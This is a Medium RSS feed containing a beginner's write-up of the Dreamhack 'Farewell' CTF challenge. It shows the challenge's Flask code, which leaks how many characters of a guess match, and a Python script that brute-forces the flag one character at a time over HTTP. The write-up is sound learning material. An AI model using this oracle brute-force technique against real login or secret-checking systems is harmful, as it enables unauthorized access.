<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lelamhoang on Medium]]></title>
        <description><![CDATA[Stories by Lelamhoang on Medium]]></description>
        <link>https://medium.com/@lelamhoang033?source=rss-eeed5ef19905------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*00I7X4xTfLaFkRct</url>
            <title>Stories by Lelamhoang on Medium</title>
            <link>https://medium.com/@lelamhoang033?source=rss-eeed5ef19905------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:33:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lelamhoang033/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Dreamhack Farewell write-up]]></title>
            <link>https://medium.com/@lelamhoang033/dreamhack-farewell-write-up-a79928547f54?source=rss-eeed5ef19905------2</link>
            <guid isPermaLink="false">https://medium.com/p/a79928547f54</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dreamhack]]></category>
            <dc:creator><![CDATA[Lelamhoang]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 18:20:32 GMT</pubDate>
            <atom:updated>2026-02-18T18:20:32.665Z</atom:updated>
            <content:encoded><![CDATA[<p>Diff: 1 (Very easy =)) )</p><p>By read the code, we can see how it authenticate,</p><pre>def index():<br>    word=request.args.get(&#39;answer&#39;,&#39;&#39;)<br>    if len(word)!=len(answer):<br>        return render_template(&#39;index.html&#39;, content=&quot;Please input the message.&quot;)<br>    else:<br>        cnt=0<br>        for i in range(0,len(answer),1):<br>            if answer[i]==word[i]:<br>                cnt+=1<br>        if cnt==len(answer):<br>            return render_template(&#39;index.html&#39;, content=FLAG)<br>        else:<br>            return render_template(&#39;index.html&#39;, content=str(cnt)+&#39; correct!&#39;)</pre><p>First, it get the input by the GET parameter answer and then check the answer length. If the length is incorrect, it returns “Please input the message.”</p><pre>word=request.args.get(&#39;answer&#39;,&#39;&#39;)<br>    if len(word)!=len(answer):<br>        return render_template(&#39;index.html&#39;, content=&quot;Please input the message.&quot;)</pre><p>Then, it compare character by character of user answer and the correct answer, after that, it returns the amount of correct character in the user answer.</p><p>So when I see the code, I have think of the idea to solve this challenge is to brute-force the answer, but to write script for brute-forcing it is quite time-consuming for me (maybe bc I’m bad at algorithm). For easily implement, I try some characters that do not match any characters in the answer and make it become the padding for answer. So I choose @ for padding, then I try every ascii printable character, send by GET and loop thorough each liens of the html response and filter to get response of correct answer.</p><p>Here is the script, Actually, I have try many times to write the script, It kind of time-consuming but it also worth it that I learn pertty much things.</p><pre>import requests<br>import string<br><br>str = string.printable<br>rq = &quot;http://host3.dreamhack.games:20777/?answer=&quot;<br>def exploit():<br>        result = &#39;&#39;<br>        while True:<br><br>                i = len(result)<br>                for w in str:<br>                        l = i<br>                        conn = requests.get(rq+result+w+&quot;@&quot;*(51-i))<br>                        print(&quot;\rHello, trying:&quot;,result+w, end=&quot;&quot;)<br>                        for j in conn.text.split(&quot;\n&quot;):<br>                                if (((&quot;correct!&quot; in j) and (int(j.split(&quot;correct&quot;)[0].split(&quot;&gt;&quot;)[1]) == i+1)) or (&quot;DH{&quot; in j)):<br>                                        print(&quot;\nFound:&quot;, w)<br>                                        result += w<br>                                        break<br>                        else:<br>                                continue<br>                        break<br>                if len(result) &gt; 51:<br>                        break<br>        print(&quot;Ok&quot;, result)<br>print(&quot;Started now, its the time for you to hang out!!..&quot;)<br>exploit()</pre><p>Thank you to read my first posts in Medium, I just a beginner, If you wanna say anything, pls leave the comment!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a79928547f54" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>